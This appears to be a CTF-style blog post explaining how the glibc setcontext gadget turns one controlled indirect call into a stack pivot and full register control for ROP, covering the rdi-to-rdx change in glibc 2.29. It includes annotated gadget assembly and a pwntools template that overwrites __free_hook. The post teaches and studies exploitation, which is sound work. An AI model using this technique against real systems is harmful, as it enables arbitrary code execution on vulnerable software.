algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

the setcontext gadget — one call to every register

2026-05-314 min readpwn rop internals

SROP gets you every register from the kernel's restore path. libc ships its own version of that gadget, and you don't need a syscall to reach it: setcontext. After the malloc hooks died and House of Apple 2 made "one controlled indirect call" the common primitive, setcontext is what you point that call at to escalate from a single jump into total control.

target./svc + libc.so.6
arch
amd64-64-little
have
one controlled call where you control a pointer register (rdi or rdx)
want
rsp + the full register file, i.e. a pivot into ROP

what setcontext restores#

setcontext(ucontext_t *) is the userland twin of rt_sigreturn: it loads the saved CPU state out of a ucontext_t. The exploitation-relevant slice is a run of movs partway in — the setcontext+53 gadget on older glibc — that reloads the general registers, the stack pointer, and the return address straight from the struct:

setcontext+53 (glibc <= 2.28): context pointer in rdiasm
mov  rsp, [rdi + 0xa0]      ; *** the pivot: rsp = whatever you put here ***
mov  rbx, [rdi + 0x80]
mov  rbp, [rdi + 0x78]
mov  r12, [rdi + 0x48]
mov  r13, [rdi + 0x50]      ; ... r14, r15 too
mov  rsi, [rdi + 0x70]
mov  rdx, [rdi + 0x88]
mov  rcx, [rdi + 0xa8]      ; the target rip
push rcx
mov  rdi, [rdi + 0x68]
ret                         ; -> rcx, now executing with YOUR rsp + registers

Point a register at a fake ucontext and one jump to this gadget gives you rsp, rdi, rsi, rdx, rbx, rbp, r12r15, and rip. With rsp controlled, you've pivoted onto a ROP chain; with the arg registers controlled, you can instead land a single execve or mprotect directly.

the version wrinkle: rdi → rdx#

Then glibc 2.29 reorganised setcontext, and the gadget started reading the context pointer from rdx instead of rdi (setcontext+61 on those builds):

which register holds the contexttxt
glibc <= 2.28 :  setcontext+53  reads [rdi + ...]
glibc >= 2.29 :  setcontext+61  reads [rdx + ...]

That matters because your delivery primitive usually controls rdi (a hook calls hook(rdi=ptr); House of Apple's call passes the FILE in rdi). On 2.29+ you need rdx pointed at the fake context, so you chain a "magic gadget" that moves a controlled value into rdx first — e.g. a libc mov rdx, [rdi+8]; ... ;call [rdi+...] fragment (the svcudp_reply / getkeyserv_handle gadgets people catalogue) — then it lands in setcontext with rdx set.

the fake context, and the delivery#

Craft the ucontext with rsp → your ROP chain and rip → a ret (or the first gadget), then drive it from whatever single call you control:

setcontext.pypython
from pwn import *
libc = ELF("./libc.so.6"); base = leak_libc()
setctx = base + libc.sym["setcontext"] + 53      # +61 on glibc >= 2.29

ctx = flat({
    0xa0: rop_chain_addr,      # -> rsp
    0xa8: base + ROP_RET,      # -> rip (a clean `ret`, falls into the chain)
}, filler=b"\x00")
write(fake_ctx_addr, ctx)                          # stage the context somewhere known

# delivery: a controlled call with rdi = fake_ctx_addr (e.g. __free_hook pre-2.34,
# or House of Apple's _IO_wfile call), pointed at the setcontext gadget:
overwrite_free_hook(setctx)                         # free(fake_ctx_addr) -> setcontext(rdi)
trigger()
one call, then the machine is yours

The hook called setcontext(rdi), rsp moved onto the ROP chain, and the chain runs mprotect + shellcode (or straight execve):

txt
segfault{one_call_became_a_whole_rop_chain}

why it's the modern keystone#

  • It converts a call into a pivot. Most modern primitives (FSOP, a function pointer, a leftover hook) give you one indirect call with one controlled register. setcontext multiplies that into rsp + every argument register — the difference between calling a single function and running an arbitrary chain.
  • It pairs with everything. House of Apple gives the call; setcontext gives the pivot; the chain gives the shell. That triad — leak → controlled call → setcontext → ROP — is the spine of a large fraction of current glibc heap exploits.
  • It degrades gracefully across versions as long as you track the rdi→rdx move and carry the matching mov rdx gadget.

If SROP is the kernel handing you the register file, setcontext is libc doing the same favour — and because you reach it with an ordinary call rather than a syscall, it slots in wherever your bug already gave you a single jump. That's why "I control one call" is, on a modern libc, almost always enough.